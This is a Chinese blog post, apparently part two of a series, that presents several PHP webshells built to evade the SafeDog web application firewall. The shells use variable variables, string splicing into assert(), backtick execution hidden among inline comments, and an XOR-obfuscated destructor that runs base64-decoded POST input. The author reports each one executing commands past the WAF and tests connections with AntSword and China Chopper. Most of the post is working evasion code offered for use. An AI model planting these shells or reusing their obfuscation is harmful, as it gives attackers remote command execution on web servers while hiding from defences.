webshell安全狗免杀(二)

有一段php代码:

<?php
$h='f';
$$h=$_REQUEST['x'];                //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f
$d='CHECK';
$$d='ass';
$$d=$CHECK.'ert';
$CHECK($f);
?>

原理:参数f赋值给$h,$$h解析后为$f = $_REQUEST['x'];参数'CHECK'赋值给变量$d,$$d解析后为$CHECK = 'ass',再解析$$d为$CHECK = $CHECK.'ert',这一步也可以理解为将$CHECk.'ert'赋值给$CHECK变量,这个时候$CHECK为assert()命令执行函数,最终,命令为 $assert($_REQUEST['x']),

代码保存在phpstudy网站跟目录下,用自带调试的firefox浏览器中访问

 

 

 

 

 

 成功执行,也可以在url后接参数执行

 

 assert()既能代码执行,也能命令执行,

再看这样一段php代码

<?php 
//t.php  
$test = $_GET['r'];  
echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;
?>

echo语句之后,增加了很多内联注释干扰字段,没有实际意义,真正执行的是/*!*/(`$test`)/*%00*/,能够绕过WAF检测机制的是"!",另外反单引号(``)的作用就是将任何代码当作命令执行,同样的用自带调试功能的firefox访问php文件

 

 能够执行命令

另有如下一段php代码:

<?php 
$a = substr_replace("assexy","rt",4);  
$b = array(''=>$a($_REQUEST['q']));
var_dump($b);
?>

首先使用substr_replace()函数,将'assexy'中的'xy',替换为'rt',参数4的意思是从下标4开始替换,替换后$a = assert()代码和命令执行函数,$b为一个数组,'=>'为数组赋值,意思是将$_REQUEST['q']得到的值进行代码或命令执行,再将执行的结果赋值给数组,最后将数组打印出来,同样的,用firefox来看一下是否能访问

 

 

 同样是能够绕过WAF,执行命令

再如下面的一段php代码:

复制代码
<?php
$pwd='123'; //将密码给一个变量保存,后面调用
class NMSL{
    function __destruct(){
        $HI='lKrRM{'^"\xd\x38\x1\x37\x3f\xf";
        return @$HI("$this->PFZE");
    }
}
$a='b';
$$a='NMSL';
$b=new NMSL();
@$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd];  //调用$pwd变量
?>
复制代码

将要解析的参数封装为一个类,创建一个对象,再经过base64加密解密,最终得到执行语句,用可调试的firefox进行测试,

 

 

 成功执行,用webshell工具(中国蚁剑)来连接测试

 

 这里用base64编码包裹一下,再来连接,因为再payload代码中,使用base64编码规则

 

 尝试连接时,显示错误,原因可能是网站安全狗(WAF)将工具的指纹信息加入了限制规则,无法连接

 

 再用webshell工具(中国菜刀)来连接,

 

 尝试连接时,网站防火墙直接显示阻止连接,所以也没能成功,

 

 以上的payload代码实测均可以绕过WAF执行命令或代码,但是部分webshell工具是连接失败的,总的来说payload逻辑没有问题。

 

posted @   田家少闲月-  阅读(170)  评论(0编辑  收藏  举报
编辑推荐:
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示